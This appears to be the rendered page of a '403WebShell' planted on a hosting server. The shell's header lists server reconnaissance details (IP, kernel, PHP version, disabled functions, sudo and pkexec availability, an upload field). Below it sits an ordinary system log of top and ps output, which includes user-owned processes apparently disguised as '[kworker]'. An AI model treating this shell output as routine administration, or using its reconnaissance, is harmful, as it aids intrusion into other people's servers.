403WebShell

403Webshell
Server IP : 173.199.190.172 / Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/log/loadwatch/
Upload File :
[ Back ]
Current File : /var/log/loadwatch/2025-11-11.00.00.txt
 ## mem threshold exceeded
## server overview
2025-11-11.00.00 load[1] mem[83/19] mysql[1/6] httpd[11]
              total        used        free      shared  buff/cache   available
Mem:           2363        1964          78          16         321         231
Swap:          1999         430        1569
 00:00:02 up 3 min,  0 users,  load average: 1.06, 1.12, 0.50
## system overview
top - 00:00:02 up 3 min,  0 users,  load average: 1.06, 1.12, 0.50
Tasks: 216 total,   5 running, 210 sleeping,   0 stopped,   1 zombie
%Cpu(s): 65.7 us, 25.7 sy,  2.9 ni,  0.0 id,  2.9 wa,  0.0 hi,  2.9 si,  0.0 st
KiB Mem :  2420300 total,    78788 free,  2012680 used,   328832 buff/cache
KiB Swap:  2047996 total,  1607164 free,   440832 used.   235504 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1757 mysql     20   0 1457532 174824   3420 S  62.5  7.2   0:02.62 /usr/sbin+
  4811 root      20   0  172072  25188   2864 R  50.0  1.0   0:00.15 /usr/loca+
  4855 nigeria   20   0  400652  15940  10220 S  12.5  0.7   0:00.03 /opt/cpan+
  4990 cloudw    20   0  350316  16628  10328 S  12.5  0.7   0:00.02 /opt/cpan+
    36 root      20   0       0      0      0 S   6.2  0.0   0:03.14 [kswapd0]
  4807 root      20   0 1276700  14508    600 S   6.2  0.6   0:00.06 /usr/bin/+
     1 root      20   0   44268   3380   1536 S   0.0  0.1   0:01.26 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     5 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:00.20 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [ksoftirq+
    15 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    30 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    31 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.00 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    48 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   105 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kauditd]
   112 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
   227 root      20   0       0      0      0 S   0.0  0.0   0:00.28 [kworker/+
   231 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   245 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   246 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
   250 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
   254 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   260 root       0 -20       0      0      0 S   0.0  0.0   0:00.32 [kworker/+
   265 root       0 -20       0      0      0 S   0.0  0.0   0:00.21 [kworker/+
   275 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [jbd2/vda+
   276 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   355 root      20   0   39492   3052   2772 S   0.0  0.1   0:00.22 /usr/lib/+
   378 root      20   0   45376    344    200 S   0.0  0.0   0:00.38 /usr/lib/+
   406 root      16  -4   55532    156     44 S   0.0  0.0   0:00.02 /sbin/aud+
   411 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   412 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   505 root      20   0   52852    200    196 S   0.0  0.0   0:00.01 /usr/sbin+
   509 root      20   0   24736   1260    892 S   0.0  0.1   0:00.07 /usr/lib/+
   512 root      20   0   21540    460    352 S   0.0  0.0   0:00.00 /usr/sbin+
   517 root      20   0  224148   5784    216 S   0.0  0.2   0:00.07 queueproc+
   518 root      20   0  152780      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   519 dbus      20   0   57028   1444    712 S   0.0  0.1   0:00.17 /usr/bin/+
   521 rpc       20   0   69256    260    152 S   0.0  0.0   0:00.01 /sbin/rpc+
   522 nscd      20   0  996544   1208    632 S   0.0  0.0   0:00.09 /usr/sbin+
   535 root      20   0    4388     60     56 S   0.0  0.0   0:00.00 /usr/sbin+
   541 polkitd   20   0  610540   2912    476 S   0.0  0.1   0:00.04 /usr/lib/+
   556 root      20   0  195208     32     32 S   0.0  0.0   0:00.00 /usr/sbin+
   576 root      20   0  124480    560    392 S   0.0  0.0   0:00.00 /usr/sbin+
   577 root      20   0   24208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   581 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   590 root      20   0  108296    140    136 S   0.0  0.0   0:00.00 /sbin/age+
   592 root      20   0  114704    116    116 S   0.0  0.0   0:00.02 /bin/bash
   626 mailnull  20   0   88984   3128    200 S   0.0  0.1   0:00.02 /usr/sbin+
   655 root       0 -20       0      0      0 S   0.0  0.0   0:00.09 [loop0]
   711 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [jbd2/loo+
   712 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   915 systuser  20   0  114016  12900   2020 S   0.0  0.5   0:00.08 /usr/loca+
   916 systuser  20   0   14068     20      0 S   0.0  0.0   0:00.00 /usr/loca+
   921 systuser  20   0  112524   2080      0 S   0.0  0.1   0:00.00 /usr/loca+
   922 root      20   0  153404    292    208 S   0.0  0.0   0:00.00 pure-ftpd+
   923 root      20   0  111304    512    412 S   0.0  0.0   0:00.02 /usr/sbin+
   924 root      20   0   51508    356    196 S   0.0  0.0   0:00.03 /usr/sbin+
   925 root      20   0  572372    968    512 S   0.0  0.0   0:00.12 /usr/bin/+
   926 root      20   0  445028   2664   2664 S   0.0  0.1   0:00.05 sw-engine+
   927 telegraf  20   0 5654048  33240   2184 S   0.0  1.4   0:00.26 /usr/loca+
   928 memcach+  20   0  342400     44     44 S   0.0  0.0   0:00.00 /usr/bin/+
   930 systuser  20   0  111608   2084      0 S   0.0  0.1   0:00.00 /usr/loca+
   939 systuser  20   0   10132     28      0 S   0.0  0.0   0:00.00 /usr/loca+
   945 root      20   0  216400   3448   2080 S   0.0  0.1   0:00.11 /usr/sbin+
   946 root      20   0  261028  23196    872 S   0.0  1.0   0:00.14 cpsrvd (S+
   954 named     20   0  637732  14476   1052 S   0.0  0.6   0:00.31 /usr/sbin+
   965 root      20   0  385496    408    320 S   0.0  0.0   0:00.07 php-fpm: +
   972 cpanelc+  20   0    9568   2500   2260 S   0.0  0.1   0:00.15 /usr/loca+
   973 root      20   0  397344   2928    556 S   0.0  0.1   0:00.15 php-fpm: +
   975 root      20   0  392856    360    280 S   0.0  0.0   0:00.07 php-fpm: +
   979 root      20   0  436392  12008  11092 S   0.0  0.5   0:00.11 php-fpm: +
   980 root      20   0 1689380   1.1g     88 S   0.0 47.8   0:13.65 /usr/loca+
   991 root      20   0  386112    368    284 S   0.0  0.0   0:00.07 php-fpm: +
  1070 dovenull  20   0   46772    452    208 S   0.0  0.0   0:00.00 dovecot/p+
  1071 dovenull  20   0   46924    776    188 S   0.0  0.0   0:00.00 dovecot/i+
  1072 dovecot   20   0   10320    132     32 S   0.0  0.0   0:00.00 dovecot/a+
  1073 root      20   0   10452    512    352 S   0.0  0.0   0:00.00 dovecot/l+
  1074 dovenull  20   0   46772    768    520 S   0.0  0.0   0:00.00 dovecot/p+
  1075 dovenull  20   0   46924    776    188 S   0.0  0.0   0:00.00 dovecot/i+
  1078 root      20   0   24396    280    164 S   0.0  0.0   0:00.01 dovecot/c+
  1084 dovecot   20   0   13568    332    164 S   0.0  0.0   0:00.00 dovecot/s+
  1112 systuser  20   0  157704   2124    200 S   0.0  0.1   0:00.00 SonarPush+
  1127 root      20   0   25760    568      0 S   0.0  0.0   0:01.47 spamd-dor+
  1152 dovecot   20   0   41056    396    148 S   0.0  0.0   0:00.00 dovecot/a+
  1157 wp-tool+  20   0  387528  12152   1496 S   0.0  0.5   0:00.07 /usr/bin/+
  1159 wp-tool+  20   0  410452  33332   1376 S   0.0  1.4   0:00.37 /usr/bin/+
  1210 root      20   0  208832   8900   1080 S   0.0  0.4   0:00.21 tailwatchd
  1211 root      20   0  183900    180    180 S   0.0  0.0   0:00.08 cpdavd - +
  1213 root      20   0  167452   1028    572 S   0.0  0.0   0:00.05 dnsadmin +
  1667 root      20   0  299272    348    204 S   0.0  0.0   0:00.00 php-fpm: +
  1700 root      38  18  130416    856    156 S   0.0  0.0   0:00.00 cpanellog+
  1945 root      20   0  267016  26220    564 S   0.0  1.1   0:00.09 /usr/sbin+
  1949 root      20   0   12784    356    112 S   0.0  0.0   0:00.00 /usr/loca+
  1950 root      20   0   12732    368    184 S   0.0  0.0   0:00.00 /usr/loca+
  1951 root      20   0   12804    348     84 S   0.0  0.0   0:00.00 /usr/loca+
  1975 root      20   0   53252   9468    192 S   0.0  0.4   0:00.04 /usr/loca+
  1976 nobody    20   0  277868  35236   3492 S   0.0  1.5   0:00.17 /usr/sbin+
  1977 nobody    20   0  277840  35012   3260 S   0.0  1.4   0:00.14 /usr/sbin+
  1978 nobody    20   0  277844  35196   3384 S   0.0  1.5   0:00.14 /usr/sbin+
  1979 nobody    20   0  277520  35224   3672 S   0.0  1.5   0:00.12 /usr/sbin+
  1980 nobody    20   0  277540  33816   2240 S   0.0  1.4   0:00.25 /usr/sbin+
  2072 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
  2174 nobody    20   0  277920  34940   3144 S   0.0  1.4   0:00.12 /usr/sbin+
  2476 root      20   0 1276100  10092    136 S   0.0  0.4   0:00.05 /usr/bin/+
  2510 root      20   0 1277312  14988    136 S   0.0  0.6   0:00.06 /usr/bin/+
  2638 root      20   0  215812  15040     20 S   0.0  0.6   0:00.00 /usr/bin/+
  2824 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  3813 nobody    20   0  277936  34716   2960 S   0.0  1.4   0:00.08 /usr/sbin+
  3936 root      20   0  111304   1272    240 S   0.0  0.1   0:00.00 sshd: [ac+
  3937 sshd      20   0  115644   1180    116 S   0.0  0.0   0:00.00 sshd: [ne+
  3938 root      20   0  111304   1304    288 S   0.0  0.1   0:00.00 sshd: [ac+
  3986 nobody    20   0  277800  35212   3428 S   0.0  1.5   0:00.05 /usr/sbin+
  3993 nobody    20   0  277948  35276   3500 S   0.0  1.5   0:00.03 /usr/sbin+
  3994 nobody    20   0  277800  35240   3456 S   0.0  1.5   0:00.07 /usr/sbin+
  4330 root      20   0  180796  28996   2336 S   0.0  1.2   0:00.14 lfd - sle+
  4490 nobody    20   0  277932  35304   3556 S   0.0  1.5   0:00.02 /usr/sbin+
  4505 root      20   0  261028  23684   1332 S   0.0  1.0   0:00.00 cpaneld -+
  4524 nobody    20   0  277800  34868   3096 S   0.0  1.4   0:00.01 /usr/sbin+
  4546 healtho+  20   0  439588  49864   4004 S   0.0  2.1   0:00.44 php-fpm: +
  4663 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
  4741 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4742 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4743 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4744 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4748 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4749 root      20   0  183052   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4751 root      20   0  183052   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4752 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4754 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4755 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4756 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4757 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4758 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4759 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4760 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4761 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4763 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4765 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4766 root      20   0  183048   2148   1592 S   0.0  0.1   0:00.00 /usr/sbin+
  4769 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  4771 root      20   0  183048   2148   1592 S   0.0  0.1   0:00.00 /usr/sbin+
  4773 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  4778 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
  4779 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  4780 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
  4782 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  4783 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
  4784 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
  4785 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
  4786 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  4788 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
  4789 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
  4790 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  4792 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
  4793 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  4795 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  4798 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
  4799 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  4800 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
  4801 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
  4802 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 /usr/loca+
  4803 root      20   0   20164    812    632 S   0.0  0.0   0:00.00 /usr/loca+
  4805 root      20   0  188160  10756   4848 S   0.0  0.4   0:00.02 /usr/loca+
  4809 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
  4810 root      20   0 1276956  14624    600 S   0.0  0.6   0:00.05 /usr/bin/+
  4815 root      35  15  113288   1432   1240 S   0.0  0.1   0:00.00 /bin/bash+
  4822 root      20   0 1277356  11532    600 S   0.0  0.5   0:00.06 /usr/bin/+
  4826 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
  4837 nigeria   20   0  397064   5312   2160 S   0.0  0.2   0:00.00 php-fpm: +
  4848 saboakin  20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
  4850 nigeria   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
  4852 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
  4853 oysipao+  20   0    3148    412      0 S   0.0  0.0   0:00.00 [kworker]
  4871 saboakin  20   0  400652  15404  10000 S   0.0  0.6   0:00.01 /opt/cpan+
  4872 pactpay   20   0  476724  17484  11728 S   0.0  0.7   0:00.02 /opt/cpan+
  4873 oysipao+  20   0    3152    628    208 S   0.0  0.0   0:00.00 [kworker]
  4998 root      20   0  160220   2060   1584 R   0.0  0.1   0:00.00 top -bcn1
  5009 root      20   0  160220   2064   1584 S   0.0  0.1   0:00.00 top -n 2 +
  5015 root      35  15  127516   1704   1360 R   0.0  0.1   0:00.00 /usr/loca+
  5017 root      20   0   20164    256      0 R   0.0  0.0   0:00.00 /usr/loca+
  5018 root      20   0   20164    260      0 R   0.0  0.0   0:00.00 /usr/loca+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov10   0:00 [kthreadd]
root          3  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/0:0]
root          4  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kworker/0:0H]
root          5  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/u200:0]
root          6  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    Nov10   0:00  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [ksoftirqd/1]
root         15  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/1:0]
root         16  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [watchdogd]
root         30  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/0:1]
root         31  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/1:1]
root         36  1.6  0.0      0     0 ?        S    Nov10   0:03  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov10   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov10   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kthrotld]
root         48  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/u200:1]
root         49  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [deferwq]
root        105  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kauditd]
root        112  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/0:2]
root        227  0.1  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/u200:2]
root        231  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [ata_sff]
root        245  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [scsi_eh_0]
root        246  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [scsi_tmf_0]
root        247  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [scsi_eh_1]
root        248  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [scsi_tmf_1]
root        249  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/u200:3]
root        250  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/1:2]
root        254  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [ttm_swap]
root        260  0.1  0.0      0     0 ?        S<   Nov10   0:00  \_ [kworker/1:1H]
root        265  0.1  0.0      0     0 ?        S<   Nov10   0:00  \_ [kworker/0:1H]
root        275  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [jbd2/vda3-8]
root        276  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [ext4-rsv-conver]
root        411  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [rpciod]
root        412  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [xprtiod]
root        581  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [kvm-irqfd-clean]
root        655  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [loop0]
root        711  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [jbd2/loop0-8]
root        712  0.0  0.0      0     0 ?        S<   Nov10   0:00  \_ [ext4-rsv-conver]
root       2072  0.0  0.0      0     0 ?        S    Nov10   0:00  \_ [kworker/0:3]
root       2824  0.0  0.0      0     0 ?        R    Nov10   0:00  \_ [kworker/1:3]
root          1  0.6  0.1  44268  3380 ?        Ss   Nov10   0:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        355  0.1  0.1  39492  3052 ?        Ss   Nov10   0:00 /usr/lib/systemd/systemd-journald
root        378  0.1  0.0  45376   344 ?        Ss   Nov10   0:00 /usr/lib/systemd/systemd-udevd
root        406  0.0  0.0  55532   156 ?        S<sl Nov10   0:00 /sbin/auditd
root        505  0.0  0.0  52852   200 ?        Ss   Nov10   0:00 /usr/sbin/smartd -n -q never
root        509  0.0  0.0  24736  1260 ?        Ss   Nov10   0:00 /usr/lib/systemd/systemd-logind
root        512  0.0  0.0  21540   460 ?        Ss   Nov10   0:00 /usr/sbin/irqbalance --foreground
root        517  0.0  0.2 224148  5784 ?        Ss   Nov10   0:00 queueprocd - waiting up to 60s to process a task
root        518  0.0  0.0 152780     0 ?        Ss   Nov10   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
dbus        519  0.0  0.0  57028  1444 ?        Ss   Nov10   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
rpc         521  0.0  0.0  69256   260 ?        Ss   Nov10   0:00 /sbin/rpcbind -w
nscd        522  0.0  0.0 996544  1208 ?        Ssl  Nov10   0:00 /usr/sbin/nscd
root        535  0.0  0.0   4388    60 ?        Ss   Nov10   0:00 /usr/sbin/acpid
polkitd     541  0.0  0.1 610540  2912 ?        Ssl  Nov10   0:00 /usr/lib/polkit-1/polkitd --no-debug
root        556  0.0  0.0 195208    32 ?        Ssl  Nov10   0:00 /usr/sbin/gssproxy -D
root        576  0.0  0.0 124480   560 ?        Ss   Nov10   0:00 /usr/sbin/crond -n
root       4741  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4792  0.0  0.0 113284  1208 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate -u Imunify360 &>/dev/null
root       4810  5.0  0.6 1276956 14624 ?       Sl   00:00   0:00  |       \_ /usr/bin/CSPUpdate -u Imunify360
root       4742  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4800  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/bin/update_imunify &>/dev/null
root       4822  6.0  0.4 1277356 11532 ?       Sl   00:00   0:00  |       \_ /usr/bin/update_imunify
root       4743  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4783  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate self-update &>/dev/null
root       4807  6.0  0.6 1276700 14652 ?       Dl   00:00   0:00  |       \_ /usr/bin/CSPUpdate self-update
root       4744  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4789  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly > /dev/null 2>&1
root       4815  0.0  0.0 113288  1432 ?        SN   00:00   0:00  |       \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly
root       5015  0.0  0.1 127916  3020 ?        RN   00:00   0:00  |           \_ /usr/local/lp/sonarperl/bin/perl /usr/local/lp/apps/sonarpush-helpers/hourly.d/eximData.pl
root       4748  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4778  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/sbin/csf --lfd restart > /dev/null 2>&1
root       4811 18.0  1.2 178496 29704 ?        R    00:00   0:00  |       \_ /usr/local/cpanel/3rdparty/bin/perl /usr/sbin/csf --lfd restart
root       4749  0.0  0.0 183052  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4785  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root       4809  0.0  0.0 108052   360 ?        S    00:00   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root       4826  0.0  0.0 113288  1520 ?        S    00:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root       5019  0.0  0.0 153840  2096 ?        R    00:00   0:00  |               \_ ps auxf
root       4751  0.0  0.0 183052  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4802  0.0  0.0  20164   988 ?        Ss   00:00   0:00  |   \_ jailshell (cloudsms) [5022] ell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
